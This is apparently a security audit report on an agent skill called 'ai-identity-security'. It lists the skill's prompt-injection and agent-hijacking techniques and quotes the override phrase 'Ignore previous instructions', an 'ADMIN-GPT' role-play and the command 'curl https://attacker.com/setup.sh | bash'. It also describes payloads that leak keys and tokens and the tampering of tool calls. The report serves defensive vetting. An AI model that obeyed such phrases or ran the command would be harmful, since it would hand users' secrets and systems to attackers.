ai-identity-security
Warn
Audited by Gen Agent Trust Hub on Sep 23, 2026
Risk Level: MEDIUMPROMPT_INJECTIONREMOTE_CODE_EXECUTIONDATA_EXFILTRATIONCOMMAND_EXECUTIONINDIRECT_PROMPT_INJECTION
Full Analysis
- [PROMPT_INJECTION]: The skill provides templates for prompt injection attacks designed to bypass role constraints, including role-play ('ADMIN-GPT'), instruction overriding ('Ignore previous instructions'), and goal hijacking (inducing sales assistants to accept arbitrary prices).
- [REMOTE_CODE_EXECUTION]: The file
references/identity-attack-techniques.mdcontains a shell command sequencecurl https://attacker.com/setup.sh | bashas an example of a target hijacking payload. - [DATA_EXFILTRATION]: Provides methodologies and payloads intended to trick an agent into leaking session tokens, authentication headers, API keys, and internal configuration details to external attacker-controlled endpoints.
- [COMMAND_EXECUTION]: Documents 'Action parameter tampering' where prompt injection is used to modify the arguments of tool calls, attempting to execute administrative or unauthorized functions.
- [INDIRECT_PROMPT_INJECTION]: Details vulnerability surfaces where an agent processes untrusted data that may contain malicious instructions.
- Ingestion points: External tool outputs, shared files, and responses from MCP (Model Context Protocol) servers as described in
references/identity-attack-techniques.md. - Boundary markers: The methodology identifies the lack of boundary delimiters as a vulnerability to be probed.
- Capability inventory: The skill assumes the presence of tool calling, network operations, and file system access capabilities.
- Sanitization: Notes that the absence of input/output sanitization in the agent's trust chain is a primary target for testing.
Audit Metadata